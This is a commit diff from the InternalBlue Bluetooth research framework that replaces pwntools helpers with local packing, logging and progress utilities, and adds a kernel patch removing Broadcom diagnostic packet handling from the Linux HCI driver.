if self.s_inject is not None:
|
||||
self.s_inject.sendto(b"", ("127.0.0.1", self.s_snoop.getsockname()[1]))
|
||||
super(macOSCore, self).shutdown()
|
||||
|
||||
@@ -1,7 +1,8 @@
|
||||
from builtins import object
|
||||
from internalblue.utils.pwnlib_wrapper import u32, u16, u8
|
||||
from typing import Any
|
||||
|
||||
from internalblue.utils.packing import u8, u16, u32
|
||||
|
||||
|
||||
class ConnectionInformation(object):
|
||||
connection_handle = 0
|
||||
|
||||
@@ -134,22 +134,22 @@ class TraceToFileHook(SocketDuplexHook):
|
||||
self.closed = False
|
||||
|
||||
def recv_hook(self, data):
|
||||
line = "RX {}\n".format(binascii.hexlify(data))
|
||||
line = "RX {}\n".format(data.hex())
|
||||
print(line)
|
||||
self.log.append(line)
|
||||
|
||||
def send_hook(self, data):
|
||||
line = "TX {}\n".format(binascii.hexlify(data))
|
||||
line = "TX {}\n".format(data.hex())
|
||||
print(line)
|
||||
self.log.append(line)
|
||||
|
||||
def recvfrom_hook(self, data, socket, **kwargs):
|
||||
line = "RX {}\n".format(binascii.hexlify(data))
|
||||
line = "RX {}\n".format(data.hex())
|
||||
print(line)
|
||||
self.log.append(line)
|
||||
|
||||
def sendto_hook(self, data, socket, **kwargs):
|
||||
line = "TX {}\n".format(binascii.hexlify(data))
|
||||
line = "TX {}\n".format(data.hex())
|
||||
print(line)
|
||||
self.log.append(line)
|
||||
|
||||
@@ -173,16 +173,16 @@ import socket
|
||||
|
||||
class PrintTrace(SocketDuplexHook):
|
||||
def send_hook(self, data, **kwargs):
|
||||
print("Sent: {}".format(binascii.hexlify(data)))
|
||||
print("Sent: {}".format(data.hex()))
|
||||
|
||||
def recv_hook(self, data, **kwargs):
|
||||
print("Recv: {}".format(binascii.hexlify(data)))
|
||||
print("Recv: {}".format(data.hex()))
|
||||
|
||||
def recvfrom_hook(self, data, addr, **kwargs):
|
||||
print("Recv: {}".format(binascii.hexlify(data)))
|
||||
print("Recv: {}".format(data.hex()))
|
||||
|
||||
def sendto_hook(self, data, socket, **kwargs):
|
||||
print("Sent: {}".format(binascii.hexlify(data)))
|
||||
print("Sent: {}".format(data.hex()))
|
||||
|
||||
def send_exception(self, e):
|
||||
print("Exception: {}".format(e))
|
||||
@@ -203,19 +203,19 @@ class ReplaySocket(SocketDuplexHook):
|
||||
|
||||
def send_hook(self, data, **kwargs):
|
||||
if self.debug:
|
||||
print("Sent: {}".format(binascii.hexlify(data)))
|
||||
print("Sent: {}".format(data.hex()))
|
||||
|
||||
def recv_hook(self, data, **kwargs):
|
||||
if self.debug:
|
||||
print("Recv: {}".format(binascii.hexlify(data)))
|
||||
print("Recv: {}".format(data.hex()))
|
||||
|
||||
def recvfrom_hook(self, data, addr, **kwargs):
|
||||
if self.debug:
|
||||
print("Recv: {}".format(binascii.hexlify(data)))
|
||||
print("Recv: {}".format(data.hex()))
|
||||
|
||||
def sendto_hook(self, data, socket, **kwargs):
|
||||
if self.debug:
|
||||
print("Sent: {}".format(binascii.hexlify(data)))
|
||||
print("Sent: {}".format(data.hex()))
|
||||
|
||||
def send_exception(self, e):
|
||||
if self.debug:
|
||||
|
||||
@@ -1,7 +1,34 @@
|
||||
# from pwnlib.util.packing import *
|
||||
import sys
|
||||
from typing import Union
|
||||
|
||||
from internalblue import Address
|
||||
|
||||
def bytes_to_hex(bytes):
|
||||
|
||||
def bytes_to_hex(data):
|
||||
# type: (Union[bytes, bytearray]) -> str
|
||||
return "".join(format(x, "02x") for x in bytearray(bytes))
|
||||
return "".join(format(x, "02x") for x in bytearray(data))
|
||||
|
||||
|
||||
def flat(data: [Address, bytes], filler: int) -> bytes:
|
||||
res = bytes()
|
||||
last_section_end = 0
|
||||
for address in data:
|
||||
res += bytes([filler]) * (address - last_section_end)
|
||||
res += data[address]
|
||||
last_section_end = address + len(data[address])
|
||||
return res
|
||||
|
||||
|
||||
def yesno(message):
|
||||
selection = input(f"[🦄] {message} [yes/no] ")
|
||||
sys.stdout.write(f"\033[F\033[K")
|
||||
|
||||
while True:
|
||||
if selection.lower() in ['y', 'yes']:
|
||||
sys.stdout.write(f"[🦄] {message} [\033[1myes\033[0m/no] \n")
|
||||
return True
|
||||
elif selection.lower() in ['n', 'no']:
|
||||
sys.stdout.write(f"[🦄] {message} [yes/\033[1mno\033[0m] \n")
|
||||
return False
|
||||
else:
|
||||
selection = input(f"[🦄] {message} [yes/no] ")
|
||||
|
||||
@@ -0,0 +1,15 @@
|
||||
import logging
|
||||
from internalblue.utils.logging_formatter import CustomFormatter
|
||||
|
||||
|
||||
def getInternalBlueLogger() -> logging.Logger:
|
||||
logger = logging.getLogger("InternalBlue")
|
||||
logger.setLevel(logging.INFO)
|
||||
|
||||
# create console handler with a higher log level
|
||||
ch = logging.StreamHandler()
|
||||
ch.setFormatter(CustomFormatter())
|
||||
ch.setLevel(logging.INFO)
|
||||
if not logger.hasHandlers():
|
||||
logger.addHandler(ch)
|
||||
return logger
|
||||
@@ -0,0 +1,35 @@
|
||||
import logging
|
||||
|
||||
|
||||
class CustomFormatter(logging.Formatter):
|
||||
"""Logging Formatter to add colors and count warning / errors"""
|
||||
|
||||
PROGRESS = 60
|
||||
|
||||
black = "\x1b[30m"
|
||||
red = "\x1b[31m"
|
||||
green = "\x1b[32m"
|
||||
yellow = "\x1b[33m"
|
||||
blue = "\x1b[34m"
|
||||
magenta = "\x1b[35m"
|
||||
cyan = "\x1b[36m"
|
||||
white = "\x1b[37m"
|
||||
reset = "\x1b[0m"
|
||||
bright_red = "\u001b[31;1m"
|
||||
|
||||
# "\033[F" # back to previous line
|
||||
# "\033[K" # clear line
|
||||
|
||||
FORMATS = {
|
||||
logging.DEBUG: f"{yellow}[!]{reset} %(message)s",
|
||||
logging.INFO: f"{blue}[*]{reset} %(message)s",
|
||||
logging.WARNING: f"{yellow}[!]{reset} %(message)s",
|
||||
logging.ERROR: f"{bright_red}[ERROR]{reset} %(message)s",
|
||||
logging.CRITICAL: f"{red}[CRITICAL] %(message)s{reset}",
|
||||
PROGRESS: f"\033[F\033[K%(message)s",
|
||||
}
|
||||
|
||||
def format(self, record):
|
||||
log_fmt = self.FORMATS.get(record.levelno)
|
||||
formatter = logging.Formatter(log_fmt)
|
||||
return formatter.format(record)
|
||||
@@ -0,0 +1,139 @@
|
||||
import struct
|
||||
|
||||
|
||||
def p8(num, endian: str = ''):
|
||||
if endian.lower() == 'big':
|
||||
return struct.pack('>B', num)
|
||||
elif endian.lower() == 'little':
|
||||
return struct.pack('<B', num)
|
||||
return struct.pack('B', num)
|
||||
|
||||
|
||||
def u8(num, endian: str = ''):
|
||||
if endian.lower() == 'big':
|
||||
return struct.unpack('>B', num)[0]
|
||||
elif endian.lower() == 'little':
|
||||
return struct.unpack('<B', num)[0]
|
||||
return struct.unpack('B', num)[0]
|
||||
|
||||
|
||||
def p16(num, endian: str = ''):
|
||||
if endian.lower() == 'big':
|
||||
return struct.pack('>H', num)
|
||||
elif endian.lower() == 'little':
|
||||
return struct.pack('<H', num)
|
||||
return struct.pack('H', num)
|
||||
|
||||
|
||||
def u16(num, endian: str = ''):
|
||||
if endian.lower() == 'big':
|
||||
return struct.unpack('>H', num)[0]
|
||||
elif endian.lower() == 'little':
|
||||
return struct.unpack('<H', num)[0]
|
||||
return struct.unpack('H', num)[0]
|
||||
|
||||
|
||||
def p32(num, endian: str = ''):
|
||||
if endian.lower() == 'big':
|
||||
return struct.pack('>I', num)
|
||||
elif endian.lower() == 'little':
|
||||
return struct.pack('<I', num)
|
||||
return struct.pack('I', num)
|
||||
|
||||
|
||||
def u32(num, endian: str = ''):
|
||||
if endian.lower() == 'big':
|
||||
return struct.unpack('>I', num)[0]
|
||||
elif endian.lower() == 'little':
|
||||
return struct.unpack('<I', num)[0]
|
||||
return struct.unpack('I', num)[0]
|
||||
|
||||
|
||||
def bits(s, endian='big') -> [int]:
|
||||
"""bits(s, endian = 'big', zero = 0, one = 1) -> list
|
||||
|
||||
Converts the argument a list of bits.
|
||||
|
||||
Arguments:
|
||||
s: A string or number to be converted into bits.
|
||||
endian (str): The binary endian, default 'big'.
|
||||
|
||||
Returns:
|
||||
A list consisting of the values specified in `zero` and `one`.
|
||||
|
||||
[!!!] Copied from PWN, only available for bytes.
|
||||
"""
|
||||
|
||||
if endian not in ['little', 'big']:
|
||||
raise ValueError("bits(): 'endian' must be either 'little' or 'big'")
|
||||
else:
|
||||
little = endian == 'little'
|
||||
|
||||
out = []
|
||||
if isinstance(s, bytes):
|
||||
for b in bytearray(s):
|
||||
byte = []
|
||||
for _ in range(8):
|
||||
byte.append(1 if b & 1 else 0)
|
||||
b >>= 1
|
||||
if little:
|
||||
out += byte
|
||||
else:
|
||||
out += byte[::-1]
|
||||
else:
|
||||
raise ValueError("bits(): 's' must be either a string or a number")
|
||||
|
||||
return out
|
||||
|
||||
|
||||
def unbits(s, endian='big'):
|
||||
"""unbits(s, endian = 'big') -> str
|
||||
|
||||
Converts an iterable of bits into a string.
|
||||
|
||||
Arguments:
|
||||
s: Iterable of bits
|
||||
endian (str): The string "little" or "big", which specifies the bits endianness.
|
||||
|
||||
Returns:
|
||||
A string of the decoded bits.
|
||||
|
||||
[!!!] Coped from PWN.
|
||||
"""
|
||||
if endian == 'little':
|
||||
u = lambda s: p8(int(s[::-1], 2))
|
||||
elif endian == 'big':
|
||||
u = lambda s: p8(int(s, 2))
|
||||
else:
|
||||
raise ValueError("unbits(): 'endian' must be either 'little' or 'big'")
|
||||
|
||||
out = b''
|
||||
cur = b''
|
||||
|
||||
for c in s:
|
||||
if c in ['1', 1, True]:
|
||||
cur += b'1'
|
||||
elif c in ['0', 0, False]:
|
||||
cur += b'0'
|
||||
else:
|
||||
raise ValueError("unbits(): cannot decode the value %r into a bit" % c)
|
||||
|
||||
if len(cur) == 8:
|
||||
out += u(cur)
|
||||
cur = b''
|
||||
if cur:
|
||||
out += u(cur.ljust(8, b'0'))
|
||||
|
||||
return out
|
||||
|
||||
|
||||
def bits_str(s, endian='big') -> str:
|
||||
"""bits_str(s, endian = 'big') -> str
|
||||
A wrapper around :func:`bits`, which converts the output into a string.
|
||||
Examples:
|
||||
>>> bits_str(511)
|
||||
'0000000111111111'
|
||||
>>> bits_str(b"bits_str", endian = "little")
|
||||
'0100011010010110001011101100111011111010110011100010111001001110'
|
||||
"""
|
||||
return ''.join(map(lambda x: str(x), bits(s, endian)))
|
||||
@@ -0,0 +1,80 @@
|
||||
import random
|
||||
import time
|
||||
|
||||
from internalblue.utils.logging_formatter import CustomFormatter
|
||||
|
||||
|
||||
class ProgressLogger(object):
|
||||
spinners = [
|
||||
['/.......', './......', '../.....', '.../....', '..../...', '...../..', '....../.',
|
||||
'.......\\', '......\\.', '.....\\..', '....\\...', '...\\....', '..\\.....', '.\\......'],
|
||||
['|', '/', '-', '\\'],
|
||||
['q', 'p', 'b', 'd'],
|
||||
['.', 'o', 'O', '0', '*', ' ', ' ', ' '],
|
||||
['▁', '▃', '▄', '▅', '▆', '▇', '█', '▇', '▆', '▅', '▄', '▃'],
|
||||
['┤', '┘', '┴', '└', '├', '┌', '┬', '┐'],
|
||||
['←', '↖', '↑', '↗', '→', '↘', '↓', '↙'],
|
||||
['◢', '◢', '◣', '◣', '◤', '◤', '◥', '◥'],
|
||||
['◐', '◓', '◑', '◒'],
|
||||
['▖', '▘', '▝', '▗'],
|
||||
['.', 'o', 'O', '°', ' ', ' ', '°', 'O', 'o', '.', ' ', ' '],
|
||||
['<', '<', '∧', '∧', '>', '>', 'v', 'v'],
|
||||
]
|
||||
|
||||
def __init__(self, logger, msg, status, kwargs):
|
||||
self._logger = logger
|
||||
self._msg = msg
|
||||
self._status = status
|
||||
self._stopped = False
|
||||
self.last_status = 0
|
||||
self.rate = kwargs.pop('rate', 0)
|
||||
# it is a common use case to create a logger and then immediately update
|
||||
# its status line, so we reset `last_status` to accommodate this pattern
|
||||
self.last_status = 0
|
||||
self.spinner_index = 0
|
||||
self.spinner_repeat = 5
|
||||
self.spinner = self.spinners[random.randint(0, len(self.spinners) - 1)]
|
||||
# self._log(status)
|
||||
|
||||
def _log(self, status):
|
||||
# this progress logger is stopped, so don't generate any more records
|
||||
if self._stopped:
|
||||
return
|
||||
|
||||
if self.spinner_repeat > 0:
|
||||
self.spinner_repeat -= 1
|
||||
else:
|
||||
self.spinner_repeat = 5
|
||||
self.spinner_index = (self.spinner_index + 1) % len(self.spinner)
|
||||
|
||||
msg = f'{CustomFormatter.blue}[{self.spinner[self.spinner_index]}]{CustomFormatter.reset} '
|
||||
|
||||
msg += self._msg
|
||||
if msg and status:
|
||||
msg += ': '
|
||||
msg += status
|
||||
self._logger.log(CustomFormatter.PROGRESS, msg)
|
||||
|
||||
def status(self, status):
|
||||
now = time.time()
|
||||
if (now - self.last_status) > self.rate:
|
||||
self.last_status = now
|
||||
self._log(status)
|
||||
|
||||
def success(self, status='Done'):
|
||||
self._log(status)
|
||||
self._stopped = True
|
||||
|
||||
def failure(self, status='Failed'):
|
||||
self._log(status)
|
||||
self._stopped = True
|
||||
|
||||
def __enter__(self):
|
||||
return self
|
||||
|
||||
def __exit__(self, exc_typ, exc_val, exc_tb):
|
||||
# if the progress logger is already stopped these are no-ops
|
||||
if exc_typ is None:
|
||||
self.success()
|
||||
else:
|
||||
self.failure()
|
||||
@@ -1,95 +0,0 @@
|
||||
"""
|
||||
The following proxies various utilities from pwnlibs by explicitly importing them
|
||||
To replace a "from pwn import *" remove it and let your IDE highlight all missing methods (Hint: F2 in PyCharm goes to next error)
|
||||
import the missing (and only the missing!) methods from this module, e.g. with "from internalblue.utils import term, read, log, text, options"
|
||||
In some cases like "from pwn import socket" this just imports another module.
|
||||
Use an IPython shell to run "from pwn import *" and check where some method/module actually comes from and either import it directly or add it to this module
|
||||
"""
|
||||
|
||||
|
||||
# Imports that used to be imported via 'from pwn import *'
|
||||
import pwnlib
|
||||
from pwnlib import term
|
||||
from pwnlib.util import iters
|
||||
from pwnlib.util.misc import read
|
||||
from pwnlib.context import context
|
||||
|
||||
# TODO: Logging via pwnlib doesn't work yet, so for now it is still used via pwn
|
||||
# import pwnlib.log
|
||||
# pwnlib.log.install_default_handler()
|
||||
# log = pwnlib.log.getLogger('internalbue')
|
||||
|
||||
from pwn import log
|
||||
|
||||
|
||||
from pwnlib.term import text
|
||||
from pwnlib.ui import options, yesno
|
||||
from pwnlib.util.packing import flat
|
||||
from pwnlib.asm import disasm, asm
|
||||
from pwnlib.util.fiddling import isprint, unbits, bits_str, bits
|
||||
|
||||
|
||||
"""
|
||||
The packers like u8 are generated in a fairly convoluted way that breaks IDE introspection.
|
||||
The following code remedies this by:
|
||||
- Explicitly defining a stub function with type annotations
|
||||
- Generating all the packers like pwnlibs would
|
||||
- Only if if the current module already has the name of the packer as an attribute (i.e. has a stub function defined) it will be replaced with the pwnlibs version
|
||||
|
||||
This means:
|
||||
- All import issues in the rest of the code are genuine as the imports are only available if an explicit stub function is added
|
||||
- The functions can be easily replaced by just implementing them and removing the for loop at the end
|
||||
|
||||
"""
|
||||
|
||||
# Imports needed for this hack
|
||||
from pwnlib.util.packing import ops, sizes, make_multi
|
||||
import sys
|
||||
|
||||
try:
|
||||
from typing import Union, Optional, Literal
|
||||
|
||||
endianess = Union[Literal["big"]]
|
||||
|
||||
except ImportError:
|
||||
pass
|
||||
mod = sys.modules[__name__]
|
||||
|
||||
|
||||
_DEFINES = ["u8", "p8", "u32", "u16", "p32"]
|
||||
|
||||
|
||||
def u8(data, endian=None):
|
||||
# type: (bytes, Optional[endianess]) -> int
|
||||
pass
|
||||
|
||||
|
||||
def p8(number, endian=None):
|
||||
# type: (int, Optional[endianess]) -> bytes
|
||||
pass
|
||||
|
||||
|
||||
def u16(data, endian=None):
|
||||
# type: (bytes, Optional[endianess]) -> int
|
||||
pass
|
||||
|
||||
|
||||
def p16(number, endian=None):
|
||||
# type: (int, Optional[endianess]) -> bytes
|
||||
pass
|
||||
|
||||
|
||||
def u32(data, endian=None):
|
||||
# type: (bytes, Optional[endianess]) -> int
|
||||
pass
|
||||
|
||||
|
||||
def p32(number, endian=None):
|
||||
# type: (int, Optional[endianess]) -> bytes
|
||||
pass
|
||||
|
||||
|
||||
for op, size in iters.product(ops, sizes):
|
||||
name, routine = make_multi(op, size)
|
||||
if hasattr(mod, name):
|
||||
setattr(mod, name, routine)
|
||||
BIN
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
@@ -0,0 +1,168 @@
|
||||
diff --git linux-4.14.111/drivers/bluetooth/hci_h4.c linux-4.14.111/drivers/bluetooth/hci_h4.c
|
||||
index 7bedfa5..d428117 100644
|
||||
--- linux-4.14.111/drivers/bluetooth/hci_h4.c
|
||||
+++ linux-4.14.111/drivers/bluetooth/hci_h4.c
|
||||
@@ -47,20 +47,6 @@
|
||||
|
||||
#include "hci_uart.h"
|
||||
|
||||
-int hci_recv_bcm_diag(struct hci_dev *hdev, struct sk_buff *skb)
|
||||
-{
|
||||
- /* Mark as diagnostic packet */
|
||||
- hci_skb_pkt_type(skb) = HCI_BCM_DIAG_PKT;
|
||||
-
|
||||
- /* Time stamp */
|
||||
- __net_timestamp(skb);
|
||||
-
|
||||
- skb_queue_tail(&hdev->rx_q, skb);
|
||||
- queue_work(hdev->workqueue, &hdev->rx_work);
|
||||
-
|
||||
- return 0;
|
||||
-}
|
||||
-
|
||||
struct h4_struct {
|
||||
struct sk_buff *rx_skb;
|
||||
struct sk_buff_head txq;
|
||||
@@ -132,7 +118,6 @@ static const struct h4_recv_pkt h4_recv_pkts[] = {
|
||||
{ H4_RECV_ACL, .recv = hci_recv_frame },
|
||||
{ H4_RECV_SCO, .recv = hci_recv_frame },
|
||||
{ H4_RECV_EVENT, .recv = hci_recv_frame },
|
||||
- { H4_RECV_BCM_DIAG, .recv = hci_recv_bcm_diag },
|
||||
};
|
||||
|
||||
/* Recv data */
|
||||
@@ -252,20 +237,9 @@ struct sk_buff *h4_recv_buf(struct hci_dev *hdev, struct sk_buff *skb,
|
||||
|
||||
switch ((&pkts[i])->lsize) {
|
||||
case 0:
|
||||
- if (hci_skb_pkt_type(skb) == HCI_BCM_DIAG_PKT) {
|
||||
- printk("Found a BCM diag packet!");
|
||||
- dlen = 62;
|
||||
- hci_skb_expect(skb) += dlen;
|
||||
- if (skb_tailroom(skb) < dlen) {
|
||||
- kfree_skb(skb);
|
||||
- return ERR_PTR(-EMSGSIZE);
|
||||
- }
|
||||
- break;
|
||||
- } else {
|
||||
- /* No variable data length */
|
||||
- dlen = 0;
|
||||
- break;
|
||||
- }
|
||||
+ /* No variable data length */
|
||||
+ dlen = 0;
|
||||
+ break;
|
||||
case 1:
|
||||
/* Single octet variable length */
|
||||
dlen = skb->data[(&pkts[i])->loff];
|
||||
diff --git linux-4.14.111/drivers/bluetooth/hci_uart.h linux-4.14.111/drivers/bluetooth/hci_uart.h
|
||||
index 7bb5ad4..66e8c68 100644
|
||||
--- linux-4.14.111/drivers/bluetooth/hci_uart.h
|
||||
+++ linux-4.14.111/drivers/bluetooth/hci_uart.h
|
||||
@@ -155,13 +155,6 @@ struct h4_recv_pkt {
|
||||
.lsize = 1, \
|
||||
.maxlen = HCI_MAX_EVENT_SIZE
|
||||
|
||||
-#define H4_RECV_BCM_DIAG \
|
||||
- .type = HCI_BCM_DIAG_PKT, \
|
||||
- .hlen = HCI_BCM_DIAG_HDR_SIZE, \
|
||||
- .loff = 0, \
|
||||
- .lsize = 0, \
|
||||
- .maxlen = HCI_MAX_BCM_DIAG_SIZE
|
||||
-
|
||||
struct sk_buff *h4_recv_buf(struct hci_dev *hdev, struct sk_buff *skb,
|
||||
const unsigned char *buffer, int count,
|
||||
const struct h4_recv_pkt *pkts, int pkts_count);
|
||||
diff --git linux-4.14.111/include/net/bluetooth/hci.h linux-4.14.111/include/net/bluetooth/hci.h
|
||||
index a9c33fc..fe98f0a 100644
|
||||
--- linux-4.14.111/include/net/bluetooth/hci.h
|
||||
+++ linux-4.14.111/include/net/bluetooth/hci.h
|
||||
@@ -30,10 +30,6 @@
|
||||
#define HCI_MAX_EVENT_SIZE 260
|
||||
#define HCI_MAX_FRAME_SIZE (HCI_MAX_ACL_SIZE + 4)
|
||||
|
||||
-#define HCI_MAX_BCM_DIAG_SIZE 63
|
||||
-#define HCI_BCM_DIAG_PKT 0x07
|
||||
-#define HCI_BCM_DIAG_HDR_SIZE 1
|
||||
-
|
||||
#define HCI_LINK_KEY_SIZE 16
|
||||
#define HCI_AMP_LINK_KEY_SIZE (2 * HCI_LINK_KEY_SIZE)
|
||||
|
||||
diff --git linux-4.14.111/net/bluetooth/hci_core.c linux-4.14.111/net/bluetooth/hci_core.c
|
||||
index 4441a48..6bc679c 100644
|
||||
--- linux-4.14.111/net/bluetooth/hci_core.c
|
||||
+++ linux-4.14.111/net/bluetooth/hci_core.c
|
||||
@@ -3283,7 +3283,6 @@ int hci_recv_frame(struct hci_dev *hdev, struct sk_buff *skb)
|
||||
|
||||
if (hci_skb_pkt_type(skb) != HCI_EVENT_PKT &&
|
||||
hci_skb_pkt_type(skb) != HCI_ACLDATA_PKT &&
|
||||
- hci_skb_pkt_type(skb) != HCI_BCM_DIAG_PKT &&
|
||||
hci_skb_pkt_type(skb) != HCI_SCODATA_PKT) {
|
||||
kfree_skb(skb);
|
||||
return -EINVAL;
|
||||
@@ -4286,19 +4285,3 @@ static void hci_cmd_work(struct work_struct *work)
|
||||
}
|
||||
}
|
||||
}
|
||||
-
|
||||
-/* Receive BCM diagnostic message from HCI drivers */
|
||||
-int hci_recv_bcm_diag(struct hci_dev *hdev, struct sk_buff *skb)
|
||||
-{
|
||||
- /* Mark as diagnostic packet */
|
||||
- hci_skb_pkt_type(skb) = HCI_BCM_DIAG_PKT;
|
||||
-
|
||||
- /* Time stamp */
|
||||
- __net_timestamp(skb);
|
||||
-
|
||||
- skb_queue_tail(&hdev->rx_q, skb);
|
||||
- queue_work(hdev->workqueue, &hdev->rx_work);
|
||||
-
|
||||
- return 0;
|
||||
-}
|
||||
-EXPORT_SYMBOL(hci_recv_bcm_diag);
|
||||
diff --git linux-4.14.111/net/bluetooth/hci_sock.c linux-4.14.111/net/bluetooth/hci_sock.c
|
||||
index 1330608..4a05235 100644
|
||||
--- linux-4.14.111/net/bluetooth/hci_sock.c
|
||||
+++ linux-4.14.111/net/bluetooth/hci_sock.c
|
||||
@@ -211,7 +211,6 @@ void hci_send_to_sock(struct hci_dev *hdev, struct sk_buff *skb)
|
||||
if (hci_skb_pkt_type(skb) != HCI_COMMAND_PKT &&
|
||||
hci_skb_pkt_type(skb) != HCI_EVENT_PKT &&
|
||||
hci_skb_pkt_type(skb) != HCI_ACLDATA_PKT &&
|
||||
- hci_skb_pkt_type(skb) != HCI_BCM_DIAG_PKT &&
|
||||
hci_skb_pkt_type(skb) != HCI_SCODATA_PKT)
|
||||
continue;
|
||||
if (is_filtered_packet(sk, skb))
|
||||
@@ -221,7 +220,6 @@ void hci_send_to_sock(struct hci_dev *hdev, struct sk_buff *skb)
|
||||
continue;
|
||||
if (hci_skb_pkt_type(skb) != HCI_EVENT_PKT &&
|
||||
hci_skb_pkt_type(skb) != HCI_ACLDATA_PKT &&
|
||||
- hci_skb_pkt_type(skb) != HCI_BCM_DIAG_PKT &&
|
||||
hci_skb_pkt_type(skb) != HCI_SCODATA_PKT)
|
||||
continue;
|
||||
} else {
|
||||
@@ -1685,8 +1683,7 @@ static int hci_sock_sendmsg(struct socket *sock, struct msghdr *msg,
|
||||
MSG_CMSG_COMPAT))
|
||||
return -EINVAL;
|
||||
|
||||
- // if (len < 4 || len > HCI_MAX_FRAME_SIZE)
|
||||
- if (len < 3 || len > HCI_MAX_FRAME_SIZE)
|
||||
+ if (len < 4 || len > HCI_MAX_FRAME_SIZE)
|
||||
return -EINVAL;
|
||||
|
||||
lock_sock(sk);
|
||||
@@ -1744,7 +1741,6 @@ static int hci_sock_sendmsg(struct socket *sock, struct msghdr *msg,
|
||||
*/
|
||||
if (hci_skb_pkt_type(skb) != HCI_COMMAND_PKT &&
|
||||
hci_skb_pkt_type(skb) != HCI_ACLDATA_PKT &&
|
||||
- hci_skb_pkt_type(skb) != HCI_BCM_DIAG_PKT &&
|
||||
hci_skb_pkt_type(skb) != HCI_SCODATA_PKT) {
|
||||
err = -EINVAL;
|
||||
goto drop;
|
||||
@@ -1789,7 +1785,6 @@ static int hci_sock_sendmsg(struct socket *sock, struct msghdr *msg,
|
||||
}
|
||||
|
||||
if (hci_skb_pkt_type(skb) != HCI_ACLDATA_PKT &&
|
||||
- hci_skb_pkt_type(skb) != HCI_BCM_DIAG_PKT &&
|
||||
hci_skb_pkt_type(skb) != HCI_SCODATA_PKT) {
|
||||
err = -EINVAL;
|
||||
goto drop;
|
||||
@@ -17,8 +17,8 @@ setup(
|
||||
"internalblue/utils",
|
||||
],
|
||||
python_requires='>=3.6',
|
||||
install_requires=["pwntools>=4.0.1", "pyelftools", "future"],
|
||||
extras_require={"macoscore": ["pyobjc"], "ipython": ["IPython"]},
|
||||
install_requires=["future", "cmd2", "pure-python-adb"],
|
||||
extras_require={"macoscore": ["pyobjc"], "binutils": ["pwntools>=4.0.1", "pyelftools"]},
|
||||
tests_require=["nose", "pytest", "pwntools>=4.2.0.dev0"],
|
||||
entry_points={
|
||||
"console_scripts": ["internalblue=internalblue.cli:internalblue_entry_point"]
|
||||
|
||||
@@ -1,19 +1,11 @@
|
||||
from __future__ import print_function
|
||||
from __future__ import absolute_import
|
||||
|
||||
from .testwrapper import trace_test, get_trace_path_cmd_tuple
|
||||
|
||||
|
||||
from tests.traces.testwrapper import trace_test, get_trace_path_cmd_tuple
|
||||
import unittest
|
||||
import os
|
||||
tracedir = os.path.dirname(__file__)
|
||||
|
||||
#cores = ['macoscore', 'ioscore', 'adbcore', 'hcicore']
|
||||
|
||||
|
||||
|
||||
|
||||
import unittest
|
||||
|
||||
|
||||
def generate_test_suite_from_traces():
|
||||
|
||||
|
||||
+20
-18
@@ -1,7 +1,7 @@
|
||||
from builtins import object
|
||||
import argparse
|
||||
|
||||
from internalblue.cli import internalblue_cli, _parse_argv
|
||||
from internalblue.cli import InternalBlueCLI, parse_args
|
||||
|
||||
import os
|
||||
|
||||
@@ -41,28 +41,30 @@ def get_trace_path_cmd_tuple(core, tracefile):
|
||||
with open(tracepath) as f:
|
||||
cmd = f.readline()
|
||||
if cmd.startswith("#"):
|
||||
return tracepath, cmd[1:]
|
||||
return tracepath, cmd[1:-1]
|
||||
else:
|
||||
return tracepath, None
|
||||
|
||||
|
||||
|
||||
def trace_test(core, tracepath, commands):
|
||||
args = _parse_argv("")
|
||||
args, unknown_args = parse_args()
|
||||
args.device = core_to_device[core]
|
||||
args.replay = tracepath
|
||||
args.commands = commands + "; quit"
|
||||
internalblue_cli("", args=args)
|
||||
cli = InternalBlueCLI(args)
|
||||
cmd_array = commands.split("; ")
|
||||
if "quit" not in cmd_array[len(cmd_array)-1]:
|
||||
cmd_array += "quit"
|
||||
cli.runcmds_plus_hooks(cmd_array)
|
||||
|
||||
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
parser = argparse.ArgumentParser()
|
||||
parser.add_argument("--core")
|
||||
parser.add_argument("--trace")
|
||||
parser.add_argument("--commands")
|
||||
args = parser.parse_args()
|
||||
|
||||
tracepath, commands = get_trace_path_cmd_tuple(args.core, args.trace)
|
||||
trace_test(args.core, tracepath, commands)
|
||||
# TODO: - Running individual tests with this method is currently a bit broken
|
||||
# if __name__ == '__main__':
|
||||
# parser = argparse.ArgumentParser()
|
||||
# parser.add_argument("--core")
|
||||
# parser.add_argument("--trace")
|
||||
# parser.add_argument("--commands")
|
||||
# margs = parser.parse_args()
|
||||
#
|
||||
# tracepath, commands = get_trace_path_cmd_tuple(margs.core, margs.trace)
|
||||
# print(tracepath)
|
||||
# print(commands)
|
||||
# trace_test(margs.core, tracepath, commands)
|
||||
|
||||
Reference in New Issue
Block a user